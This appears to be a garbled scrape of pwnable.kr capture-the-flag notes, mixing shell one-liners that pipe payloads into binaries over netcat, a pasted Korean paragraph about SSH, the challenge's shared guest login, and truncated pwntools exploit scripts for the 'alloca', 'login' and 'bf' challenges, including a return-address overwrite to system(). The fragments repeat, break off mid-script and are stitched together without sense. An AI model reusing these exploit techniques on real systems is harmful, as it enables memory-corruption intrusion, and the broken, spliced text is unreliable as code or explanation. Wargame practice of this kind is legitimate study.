(python -c 'print "payload"'; cat -) | nc pwnable.url
(echo payload; cat) | ./pwnable
cat payload - | ./pwnable
(python -c 'print "payload"'; cat -) | nc pwnable.url
(echo payload; cat) | ./pwnable
cat payload - | ./pwnable
ssh fd@pwnable.kr -p2222 (pw:guest)
시큐어 셸(Secure Shell, SSH)는 네트워크 상의 다른 컴퓨터에 로그인하거나 원격 시스템에서 명령을 실행하고 다른 시스템으로 파일을 복사할 수 있도록 해 주는 응용 프로그램 또는 그 프로토콜을 가리킨다. 기존의 rsh, rlogin, 텔넷 등을 대체하기 위해 설계되었으며, 강력한 인증 방법 및 안전하지 못한 네트워크에서 안전하게 통신을 할 수 있는 기능을 제공한다.
It has been a long time since I finish(nearly) these problems...
In linux, 0 is std_input, 1 is std_output, 2 is std_error_output.
We just need to send LETMEWIN to std_input and set fd to 0 which means (our input - 0x1234) == 0.
from pwn import *
proc = process('alloca')
proc.sendline('-80')
proc.sendline('134525988'+',,,'+'\xab\x85\x04\x08')
proc.interactive()Run the program and it crashed. Load it with gdb-peda, break at entry point and run:
0x8048054: pop eax
0x8048055: pop edx
0x8048056: mov edx,DWORD PTR [edx]
0x8048058: call edx
| #!/usr/bin/env python | |
| # coding: utf-8 | |
| from pwn import * | |
| p = process('./login') | |
| ebp_over = 0x0811EB40 | |
| pp_system = 0x08049284 | |
| payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over)) |
from pwn import *
sh = remote('pwnable.kr', 9003)
sh.recv(1024)
sh.sendline('AAAA\x78\x92\x04\x08\x40\xeb\x11\x08'.encode('base64'))
a = sh.recv(10000)
a = a.split('\n')
print a[1]
sh.interactive()(Too lazy to review lessons before exam... Load with IDA and found:
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1| #!/usr/bin/env python | |
| # coding: utf-8 | |
| from pwn import * | |
| # Remote EXP | |
| libc = ELF('./bf_libc.so') | |
| p = remote('pwnable.kr', 9001) | |
| # Local EXP |
| #!/usr/bin/env python | |
| # coding: utf-8 | |
| import os | |
| import re | |
| import time | |
| import random | |
| import urllib2 | |
| from pwn import * |